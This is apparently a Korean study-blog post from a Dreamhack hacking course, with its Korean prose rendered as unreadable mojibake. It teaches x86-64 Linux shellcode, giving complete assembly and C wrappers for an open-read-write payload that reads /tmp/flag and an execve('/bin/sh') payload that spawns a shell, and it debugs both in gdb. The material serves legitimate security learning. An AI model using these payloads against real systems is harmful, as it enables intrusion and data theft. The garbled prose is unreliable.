์ต์คํ๋ก์(Exploit)
ํดํน ๋ถ์ผ์์ ์๋ ์์คํ ์ ๊ณต๊ฒฉํ๋ ๊ฒ์ผ๋ก ์นจํฌํ์ฌ ์์คํ ์ ์ ์ฉํ๋ ํดํน๊ณผ ๋งฅ๋ฝ์ด ๊ฐ์
์ฒซ ๋ฒ์งธ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ธ ์ ธ์ฝ๋์ด๋ฉฐ, ์ง๊ธ๊น์ง ๋ฐฐ์ด ์ง์์ ์ ๊ฒํ๊ณ gdb ์ฌ์ฉ์ ์ต์ํด์ง๋ ์๊ฐ์ด ๋์ด๋ด์
์ ธ์ฝ๋
์ต์คํ๋ก์์ ์ํด ์ ์๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ
์ผ๋ฐ์ ์ผ๋ก ์ ธ์ ํ๋ํ๊ธฐ ์ํ ๋ชฉ์ ์ผ๋ก ์ ธ์ฝ๋๋ฅผ ์ฌ์ฉํด, ํน๋ณํ "์ ธ"์ด๋ผ๋ ์ ๋์ฌ ๋ถ์
์ ธ์ ํ๋ํ๋ ๊ฒ์ ๋งค์ฐ ์ค์ํด์, ๊ทธ ์ด์ ๋ ๋ค์ ๋์์
๋ง์ฝ ํด์ปค๊ฐ rip๋ฅผ ์์ ์ด ์์ฑํ ์ ธ์ฝ๋๋ก ์ฎ๊ธธ ์ ์์ผ๋ฉด ์ต์คํ๋ก์์ด ๋์!
์ ธ์ฝ๋๋ ์ด์ ๋ธ๋ฆฌ์ด๋ก ๊ตฌ์ฑ๋๋ฏ๋ก ๊ณต๊ฒฉ์ ์ํํ ๋์ ์ํคํ ์ฒ์ OS์ ๋ฐ๋ผ,
๊ทธ๋ฆฌ๊ณ ์ ธ์ฝ๋์ ๋ชฉ์ ์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ์์ฑ๋ฉ๋๋ค ๋ํ ๋ฐ ๋งํฌ๋ ์ํคํ ์ฒ ๋ณ ๋ฒ์ฉ์ ์ ธ์ฝ๋!
ํ์ง๋ง ๋ฒ์ฉ์ ์ผ๋ก ์์ฑ๋ ๊ฑฐ๊ธฐ์ ์ต์ ์ ์ ธ์ฝ๋๋ ์ง์ ํด์ผํ๊ณ ์ฌ๋ฌ ๋ณ์๊ฐ ์์ผ๋๊น..
์ด๋ฐ ์ํฉ์ ๋๋นํ์ฌ ์ธ์ ๋ ์ง ์ง์ ์ ธ์ฝ๋๋ฅผ ์์ฑํ ์ ์์ด์ผ ํจ!!
์ฐ๋ฆฌ๋ ํ์ผ ์ฝ๊ณ ์ฐ๊ธฐ(open-read-write. orw), ์ ธ ํ๋(execve)์ ๋ํ์ฌ ์์๋ด ์๋ค
orw ์ ธ์ฝ๋ ์์ฑ๐
ํ์ผ์ ์ด๊ณ , ์ฝ์ ๋ค ํ๋ฉด์ ์ถ๋ ฅํด์ฃผ๋ ์ ธ์ฝ๋!
์ฌ๊ธฐ์ "/tmp/flag"๋ฅผ ์ฝ๋ ์ ธ์ฝ๋๋ฅผ ์์ฑํด๋ณผ๊ป์
๊ตฌํํ๋ ค๋ ์ ธ์ฝ๋์ ๋์์ C์ธ์ด ํ์์ ์์ฌ์ฝ๋๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ์์
orw ์ ธ์ฝ๋๋ฅผ ์์ฑํ๊ธฐ ์ํด ์์์ผ ํ๋ syscall์ ์๋์ ๊ฐ์ต๋๋ค.
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
๊ทธ๋ผ ์ด์ ์์ฌ์ฝ๋์ ๊ฐ ์ค์ ์ด์ ๋ธ๋ฆฌ๋ก ๊ตฌํํ๊ณ ์์๋ณผ๊น์?
orw ์ ธ์ฝ๋ ์์ฑ - open & read
1. int fd = open("/tmp/flag",O_RDONLY, NULL)
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
open | 0x02 | const char *filename | int flags | umode_t mode |
๐ก์ฒซ ๋ฒ์งธ๋ก ํด์ผ ํ ์ผ์ "/tmp/flag"๋ผ๋ ๋ฌธ์์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์์น์ํค๋ ๊ฒ์ด๋ฉฐ,
์์ธํ ์ด์ ๋ฅผ ๋ชจ๋ฅด๊ฒ ๋ค๋ฉด ์ฌ๊ธฐ๋ก ๊ฐ์๋ฉด ๋ฉ๋๋ค.โ
์ ์ฌ์ดํธ๋ฅผ ์ฐธ๊ณ ํด์ ์์ฑํจ
๊ตฌํ
2~3. ์คํ์ 0x616c662f706d742f(/tmp/flag)๋ฅผ push
4. rdi๊ฐ ์ด๋ฅผ ๊ฐ๋ฆฌํค๋๋ก rsp๋ฅผ rdi๋ก ์ฎ๊น
5. O_RDONLY๋ 0์ด๋ฏ๋ก, rsi๋ 0์ผ๋ก ์ค์
6. ํ์ผ์ ์ฝ์ ๋, mode๋ ์๋ฏธ๋ฅผ ๊ฐ์ง ์์ผ๋ฏ๋ก rdx๋ 0์ผ๋ก ์ค์
7. rax๋ฅผ open์ syscall๊ฐ์ธ 2๋ก ์ค์
2.read(fd, buf, 0x30)
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
1. syscall์ ๋ฐํ ๊ฐ์ rax๋ก ์ ์ฅํ๋ฉฐ, open์ผ๋ก ํ๋ํ /tmp/flag์ fd๋ rax์ ์ ์ฅ!
2. read์ ์ฒซ๋ฒ์งธ ์ธ์๋ฅผ ์ด ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํ๋ฏ๋ก rax๋ฅผ rdi์ ๋์
3. rsi๋ ํ์ผ์ ์ฝ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ฃผ์๋ฅผ ๊ฐ๋ฅดํค๋ฏ๋ก 0x30๋งํผ ์ฝ์ผ๋, rsi์ rsp-0x30 ๋์
4. rdx๋ ํ์ผ๋ก๋ถํฐ ์ฝ์ด๋ผ ๋ฐ์ดํฐ์ ๊ธธ์ด์ธ 0x30์ผ๋ก ์ค์
5. read syscall์ ํธ์ถํ๊ธฐ ์ํด rax๋ฅผ 0์ผ๋ก ์ค์
๐ก ์ฌ๊ธฐ์ ์ ๊น! fd(File Descriptor; fd)๋?
์ ๋์ค ๊ณ์ด์ OS์์ ํ์ผ์ ์ ๊ทผํ๋ SW์ ์ ๊ณตํ๋ ๊ฐ์์ ์ ๊ทผ ์ ์ด์
"ํ๋ก์ธ์ค๋ง๋ค ๊ณ ์ ์ ์์ ์ ํ ์ด๋ธ์ ๊ฐ๊ณ ์์ผ๋ฉฐ, ๊ทธ ์์ ์ฌ๋ฌ ํ์ผ ์์ ์๋ฅผ ์ ์ฅํจ"
์์ ์๋ ๋ฒํธ๋ก ๊ตฌ๋ณํ๋ฉฐ ์ผ๋ฐ์ ์ผ๋ก 0(์ผ๋ฐ ์ ๋ ฅ_STDIN), 1(์ผ๋ฐ ์ถ๋ ฅ_STDOUT), 2(์ผ๋ฐ ์ค๋ฅ_STDERR)์ ํ ๋น๋๋ฉฐ, ์ด๋ค์ ํ๋ก์ธ์๋ฅผ ํฐ๋ฏธ๋๊ณผ ์ฐ๊ฒฐํด์ค!
Ex) ํค๋ณด๋ ์ ๋ ฅ → ํ๋ก์ธ์ค์ ์ ๋ ฅ ์ ๋ฌ, ์ถ๋ ฅ → ํฐ๋ฏธ๋ ๋ก ๋ฐ์๋ณผ ์ ์์
ํ๋ก์ธ์ค๊ฐ ์์ฑ๋ ์ดํ, ์์ open๊ฐ์ ํจ์๋ฅผ ํตํด ์ด๋ค ํ์ผ๊ณผ ํ๋ก์ธ์ค๋ฅผ ์ฐ๊ฒฐํ๋ ค๊ณ ํ๋ฉด, ๊ธฐ๋ณธ์ผ๋ก ํ ๋น๋ 2๋ฒ ์ดํ์ ๋ฒํธ๋ก ์๋ก์ด fd์ ์ฐจ๋ก๋ก ํ ๋นํ๋ฉฐ, ํ๋ก์ธ์ค๋ ๊ทธ fd๋ฅผ ์ด์ฉํด ํ์ผ์ ์ ๊ทผํจ
3. write(1, buf, 0x30)
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
write | 0x01 | unsigned int fd | const char *buf | size_t conut |
1. ์ถ๋ ฅ์ stdout์ผ๋ก ํ ๊ฒ์ด๋ฏ๋ก, rdi๋ฅผ 0x1๋ก ์ค์
_rsi์ rdx๋ read์์ ์ฌ์ฉํ ๊ฐ์ ๊ทธ๋๋ก ์ฌ์ฉํจ
2. write ์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ํด์ rax๋ฅผ 1๋ก ์ค์
์ด๋ค์ ๋ค ์ข ํฉํ๋ฉด...
;Name: orw.S
;int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
;read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
;write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw ์ ธ์ฝ๋ ์ปดํ์ผ ๋ฐ ์คํ
๋๋ถ๋ถ OS๋ ์คํ ๊ฐ๋ฅํ ํ์ผ์ ํ์์ ๊ท์ ํจ
์๋์ฐ์ PE, ๋ฆฌ๋ ์ค์ ELF๊ฐ ๋ํ์ ์ธ ์์
ELF(Executable and Linkable Format)
ํน์ง : ํด๋์ ์ฝ๋ ๊ทธ๋ฆฌ๊ณ ๊ธฐํ ๋ฐ์ดํฐ๋ก ๊ตฌ์ฑ๋จ
์ค๋ช : ํด๋์๋ ์คํ์ ํ์ํ ์ฌ๋ฌ ์ ๋ณด๊ฐ, ์ฝ๋์ CPU๊ฐ ์ดํดํ ์ ์๋ ๊ธฐ๊ณ์ด ์ฝ๋
์์ ์์ฑ๋ ์ ธ์ฝ๋ orw.S๋ ์์คํค๋ก ์์ฑ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋์ด๋ฏ๋ก, ๊ธฐ๊ณ์ด๋ก ์นํํ๋ฉด CPU๊ฐ ์ดํดํ ์๋ ์์ผ๋ ELFํ์์ด ์๋๋ฏ๋ก ๋ฆฌ๋ ์ค์์ ์คํX ์ฌ๊ธฐ์ gcc์ปดํ์ผ์ ํตํด ์ด๋ฅผ ELFํ์์ผ๋ก ๋ณํํฉ์๋ค.
์ปดํ์ผ๐
์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์ปดํ์ผํ๋ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์์ผ๋ ์ฌ๊ธฐ์ ์ ธ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ์ค์ผ๋ ํค ์ฝ๋๋ฅผ C์ธ์ด๋ก ์์ฑํ๊ณ , ๊ฑฐ๊ธฐ์ ์ ธ์ฝ๋๋ฅผ ํ์ฌํ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํฉ์๋ค.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)"
);
void run_sh();
int main() { run_sh(); }
์ค์ผ๋ ํค ์ฝ๋ : ํต์ฌ ๋ด์ฉ์ด ๋น์ด์๋, ๊ธฐ๋ณธ ๊ตฌ์กฐ๋ง ๊ฐ์ถ ์ฝ๋
์ด ์ค์ผ๋ ํค ์ฝ๋์ ์์์ ์์ฑํ ์ ธ์ฝ๋๋ฅผ ์ฑ์ฐ์๊ณ ์
orw.S
;Name: orw.S
;int fd = open(“/tmp/flag”, O_RDONLY, NULL)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
;read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
;write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw.c
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall# exit(0)"
);
void run_sh();
int main() { run_sh(); }
์ด๋ฐ ์์ผ๋ก ์ ธ์ฝ๋๊ฐ ์๋์ ํ์ธํ๊ฒ /tmp/flag ํ์ผ์ ์์ฑ!
echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag
orw.c๋ฅผ ์ปดํ์ผํ๊ณ , ์คํํด๋ด ์๋ค
gcc -o orw orw.c -masm=intel
์ ธ์ฝ๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์คํ๋์ด ์ฐ๋ฆฌ๊ฐ ์ ์ฅํ ๋ฌธ์์ด ์ถ๋ ฅ๊น์ง ์ฑ๊ณต!
๋ง์ฝ ๊ณต๊ฒฉ์ ๋์์ด ๋๋ ์์คํ ์์ ์ด ์ ธ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค๋ฉด, ์๋ ์๋ฒ์ ์๋ฃ๋ฅผ ์ ์ถ๊ฐ๋ฅ
์ฌ๊ธฐ์ ์ค์ฌ์ /tmp/flag์ ๋ด์ฉ๋ง๊ณ ๋ ๋ฌธ์์ด๋ค์ด ํจ๊ป..์ถ๋ ฅ๋์ผํ๋๋ฐ..? ๋๋ฒ๊น ์ ํตํด ์ ธ์ฝ๋์ ๋์์ ์ดํด๋ณด๊ณ , ์ ๋ฐ ๊ฐ๋ค์ด ์ถ๋ ฅ๋ ์์ธ์ ๋ถ์ํด๋ด ์๋ค.
orw ์ ธ์ฝ๋ ๋๋ฒ๊น ๐
์์ ๋ฐฐ์ด gdb๋ฅผ ํตํด ์ฐ๋ฆฌ๊ฐ ์์ฑํ ์ ธ์ฝ๋์ ๋์์ ์์ธํ ๋ถ์ํฉ์๋ค
orw๋ฅผ gdb๋ก ์ด๊ณ , run_sh()ํจ์์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ์ค์ ํฉ์๋ค.
run๋ช ๋ น์ด๋ก run_sh()ํจ์์ ์์ ๋ถ๋ถ๊น์ง ์ฝ๋๋ฅผ ์คํํ๋ฉฐ, ๊ทธ๋ฌ๋ฉด ์ฐ๋ฆฌ๊ฐ ์์ฑํ ์ ธ์ฝ๋์ rip๊ฐ ์์นํ ๊ฒ์ ํ์ธ ํ ์๊ฐ ์์ฃ
์ด์ ์์์ ๊ตฌํํ ๊ฐ ์์คํ ์ฝ๋ค์ด ์ ๋๋ก ๊ตฌํ๋์๋ ํ์ธํด๋ด์
1. int fd = open("/tmp/flag", O_RDONLY, NULL)
์ฒซ๋ฒ์งธ syscall์ ๊น์ง ์คํํ๊ณ , syscall์ ๋ค์ด๊ฐ๋ ์ธ์๋ฅผ ํ์ธ
pwndbgํ๋ฌ๊ทธ์ธ์ syscall์ ํธ์ถํ ๋, ์ธ์๋ฅผ ๋ถ์ํ๋ฉฐ, ์ ธ์ฝ๋๋ฅผ ์์ฑํ ๋ ๊ณํํ๋ฏ, open("/tmp/flag",O_RDONLY, NULL)๊ฐ ์คํ๋จ์ ํ์ธํ ์ ์์ต๋๋ค.
open ์์คํ ์ฝ์ ์ํํ ๊ฒฐ๊ณผ๋ก /tmp/flag์ fd(3)๊ฐ rax์ ์ ์ฅ๋จ
fd(3)์ด๋๊น ์ฌ์ฉ์ ์ค์ ์ผ๋ก ์ง์ ๋์๋ค์
2. read(fd, buf, 0x30)
๋ง์ฐฌ๊ฐ์ง๋ก ๋๋ฒ์งธ syscall ์ง์ ๊น์ง ์คํํ๊ณ ์ธ์๋ฅผ ๋ด ์๋ค
์๋ก ํ ๋นํ /tmp/flag์ fd(3)์์ ๋ฐ์ดํฐ๋ฅผ 0x30byte๋งํผ ์ฝ์ด์
0x7fffffffdd58 ์ ์ ์ฅํฉ๋๋ค
์คํ ๊ฒฐ๊ณผ๋ฅผ x/s๋ก ํ์ธํด๋ณด๋ฉด
3. write(1, buf, 0x20)
๋ง์ง๋ง์ผ๋ก, ์ฝ์ด๋ธ ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ๋ write ์์คํ ์ฝ์ ์คํํจ
๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ 0x7fffffffdd58์์ 48๋ฐ์ดํธ๋ฅผ ์ถ๋ ฅํฉ๋๋ค.
์๋ฌด๋๋ ์ ๋ ์๋์ ์ผ๋ก ๊ณต๋ฐฑ์ ์ค์ ๊ทธ๋ฐ๊ฐ์..? ์นผ๋ฆฌ๋ผ ๊ทธ๋ฐ๊ฐ์? ์.. ๋ณดํต์
/tmp/flag์ ๋ฐ์ดํฐ ์ธ์ ์์์๋ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ฉฐ, ์ด๋ ์ด๊ธฐํ๋์ง ์์ ๋ฉ๋ชจ๋ฆฌ ์์ญ ์ฌ์ฉ์ ์ํ ๊ฒ ๋๋ฌธ์ ๋๋ค. ์์ธ์ ๋ถ์ํ๊ธฐ ์ํด read ์์คํ ์ฝ์ ์คํํ ์งํ๋ก ๋์๊ฐ๋ด์
โ๐ก์ด๊ธฐํ ๋์ง ์์ ๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ(Useof Uninitialized Memory)
โ์คํ์ ๋ค์ํ ํจ์๋ค์ด ๊ณต์ ํ๋ ๋ฉ๋ชจ๋ฆฌ ์์! ๊ฐ ํจ์๊ฐ ์์ ๋ค์ ์คํ ํ๋ ์์ ํ ๋นํด ์ฌ์ฉํ๊ณ ์ข ๋ฃ๋ ๋ ํด์ ํฉ๋๋ค. ๊ทธ๋ฐ๋ฐ ์คํ์ ํด์ ๋ผ๋ ๊ฒ์ ์ฌ์ฉํ ์์ญ์ 0์ผ๋ก ์ด๊ธฐํํ๋ ๊ฒ์ด ์๋๋ผ, ๋จ์ํ rsp์ rbp๋ฅผ ํธ์ถํ ํจ์์ ๊ฒ์ ์ด๋์ํค๋ ๊ฒ์ ๋งํจ! ์ฆ, ์ด๋ค ํจ์๋ฅผ ํด์ ํ ํ, ๋ค๋ฅธ ํจ์๊ฐ ์คํ ํ๋ ์์ ๊ทธ ์์ ํ ๋นํ๋ฉด ์ด์ ์คํ ํ๋ ์์ ๋ฐ์ดํฐ๋ ์ฌ์ ํ ์๋ก ํ ๋นํ ์คํ ํ๋ ์์ ์กด์ฌํ๋ฉฐ ์ด๋ฅผ ์ฐ๋ ๊ธฐ ๊ฐ(garbage data)๋ผ๊ณ ํํํฉ๋๋ค.
ํ๋ก์ธ์ค๋ ์ฐ๋ ๊ธฐ ๊ฐ ๋๋ฌธ์ ๋๋๋ก ์์์น ๋ชปํ ๋์์ ํ๊ธฐ๋ ํ๋ฉฐ, ํด์ปค์๊ฒ ์๋์น ์๊ฒ ์ค์ํ ์ ๋ณด๋ฅผ ๋ ธ์ถํฉ๋๋ค. ๋ฐ๋ผ์ ์ด๋ฐ ์ํ์ผ๋ก๋ถํฐ ์์ ํ ํ๋ก๊ทธ๋จ์ ์์ฑํ๋ ค๋ฉด ์คํ์ด๋ ํ์ ์ฌ์ฉํ ๋ ํญ์ ์ ์ ํ ์ด๊ธฐํ ๊ณผ์ ์ ๊ฑฐ์ณ์ผ ํฉ๋๋ค
Appendix. Uninitialized Memory
์๊น์ ๊ฐ์ด ํ์ผ์ ์ฝ์ด์ ์คํ์ ์ ์ฅํ๊ณ , ํด๋น ์คํ์ ์์ญ์ ๋ค์ ์กฐํํด๋ด์
โโ
์ด ๊ฐ์ด ์ด์ ๋ธ๋ฆฌ ์ฝ๋์ ์ฃผ์์ ๋น์ทํ ๊ฒ์ ์ ์ ์์ผ๋ฉฐ, ์ด๋ฐ ์ค์ํ ๊ฐ์ ์ ์ถํด ๋ด๋ ๊ฒ์ ๋ฉ๋ชจ๋ฆฌ ๋ฆญ(Memory Leak; ๋ฉ๋ชจ๋ฆฌ ๋์)์ด๋ผ๊ณ ๋ถ๋ฅด๋๋ฐ, ์์ผ๋ก ๋ฐฐ์๋๊ฐ ๋ณดํธ๊ธฐ๋ฒ๋ค์ ๋ฌด๋ ฅํํ๋ ํต์ฌ ์ญํ
OS์ ๋ช ๋ น
์ ธ(Shell, ๊ป์ง) : OS์ ๋ช ๋ น์ ๋ด๋ฆฌ๊ธฐ ์ํด ์ฌ์ฉ๋ UI
์ปค๋(Kernel, ํธ๋ ์ ๋ด์ฉ๋ฌผ) : OS์ ํต์ฌ๊ธฐ๋ฅ์ ํ๋ ํ๋ก๊ทธ๋จ
์ ๋์ ์ด๋ ๊ฒ ์๋ก ๋งค์ฐ ๋๋น๋ฉ๋๋ค. ์ ธ์ ํ๋ํ๋ฉด ์์คํ ์ ์ ์ดํ ์ ์์ผ๋ฏ๋ก ํต์์ ์ผ๋ก ์ ธ ํ๋์ ์์คํ ํดํน์ ์ฑ๊ณต์ผ๋ก ์ฌ๊น๋๋ค.
execve ์
ธ์ฝ๋๋ ์์์ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ์
ธ์ฝ๋์ธ๋ฐ, ์ด๋ฅผ ์ด์ฉํ๋ฉด ์๋ฒ์ ์
ธ์ ํ๋ํ ์ ์์ต๋๋ค. ๋ค๋ฅธ ์ธ๊ธ์์ด ์
ธ์ฝ๋๋ผ๊ณ ํ๋ฉด ์ด๋ฅผ ์๋ฏธํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Tip) ์ต์ ์ ๋ฆฌ๋ ์ค๋ ๋๋ถ๋ถ sh, bash๋ฅผ ๊ธฐ๋ณธ ์ ธ ํ๋ก๊ทธ๋จ์ผ๋ก ํ์ฌํ๊ณ ์์ผ๋ฉฐ, ์ด ์ธ์๋ zsh, tsh ๋ฑ์ ์ ธ์ ์ ์ ๊ฐ ์ค์นํด์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฐ๋ฆฌ์ ์ค์ต ํ๊ฒฝ์ธ Ubuntu 18.04์๋ /bin/sh๊ฐ ์กด์ฌํ๋ฏ๋ก, ์ด๋ฅผ ์คํํ๋ execve ์ ธ์ฝ๋๋ฅผ ์์ฑํด๋ณด๊ฒ ์ต๋๋ค.
execve("/bin/bash", null, null)
execve ์ ธ์ฝ๋๋ execve ์์คํ ์ฝ๋ก๋ง ๊ตฌ์ฑ๋ฉ๋๋ค.
syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envpโ |
โ์ฌ๊ธฐ์ argv๋ ์คํํ์ผ์ ๋๊ฒจ์ค ์ธ์, envp๋ ํ๊ฒฝ๋ณ์์ ๋๋ค. ์ฐ๋ฆฌ๋ sh๋ง ์คํํ๋ฉด ๋๋ฏ๋ก ๋ค๋ฅธ ๊ฐ๋ค์ ์ ๋ถ null๋ก ์ค์ ํ์ ๋ ์๊ด ์์ด์. ๋ฆฌ๋ ์ค์์๋ ๊ธฐ๋ณธ ์คํ ํ๋ก๊ทธ๋จ๋ค์ด /bin/ ๋๋ ํ ๋ฆฌ์ ์ ์ฅ๋์ด ์์ผ๋ฉฐ, ์ฐ๋ฆฌ๊ฐ ์คํํ sh๋ ์ฌ๊ธฐ์ ์ ์ฅ๋์ด ์์ต๋๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ evecve("/bin/sh", null, null)์ ์คํํ๋ ๊ฒ์ ๋ชฉํ๋ก ์ ธ ์ฝ๋๋ฅผ ์์ฑํด๋ด ์๋ค. ์์์ ์์ฑํ orw์ ธ์ฝ๋์ ๋น๊ตํ์ ๋ ๊ทธ๋ ๊ฒ ์ด๋ ต์ง๋ ์๊ณ ์ง์ ํด๋ณด๊ณ ์ ธ์ฝ๋์ ๋น๊ตํด๋ณผ๊น์?
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
evecve ์ ธ์ฝ๋ ์์ฑ ๋ฐ ์คํ๐
์์์ ์ฌ์ฉํ shell_skeleton์ฝ๋๋ฅผ ์ด์ฉํด evecve์ฝ๋๋ฅผ ์ปดํ์ผ ํด๋ด ์๋ค.
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)"
);
void run_sh();
int main() { run_sh(); }
์คํ ๊ฒฐ๊ณผ๋ก sh๊ฐ ์คํ๋์ด ๋ณด์ฌ์ง๋ ๋ชจ์ต!!
์ ๊ทธ๋ผ gdb๋ก ๋ถ์์ ํด๋ณผ๊น์?(์์ ์ค๋ช ์์ผ๋๊น ๋ถ์ํ ๋ชจ์ต๋ง ใ ใ )
โ์ ๋ง๋ก ์์ธํ ๋ถ์ํ ๋ ค๋ฉด.. ์ค๋ ฅ ๋ถ์กฑ์ ํด ์ฌ์ฉํด์ผํด์.. ์.. ๋์ค์ ์ ๋ฆฌํด์ ์ฌ๋ฆด๊ป์
๋ฐ์ ๋งํฌ๋ ์ฐธ๊ณ ์๋ฃ์ธ๋ฐ ๋ญ.. ์ ธ์ฝ๋ ์์ฑํ ๋ ค๋ฉด ๊ทธ์ ์ ์ฌ๋ฆฐ ๋งํฌ๋ค ๋ค ๋ด์ผ๊ธด ํด์ ใ
์ฐธ๊ณ ์๋ฃ(๋จ, ์ ๋ถ๋ถ์ ์ ๊ฐ ๋ฐฐ์ด ๋ด์ฉ ์์ฝ์ ๊ฐ๊น๊ธฐ ๋๋ฌธ์ ๊ฑฐ์ ์ ๋ด์ฉ๊ณผ ๊ฐ์ต๋๋ค)
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Background: Calling Convention (0) | 2022.04.20 |
---|---|
shell_basic (0) | 2022.04.19 |
Tool: pwntools (4) | 2022.04.04 |
Tool: gdb (0) | 2022.03.29 |
Quiz: x86 Assembly (0) | 2022.03.27 |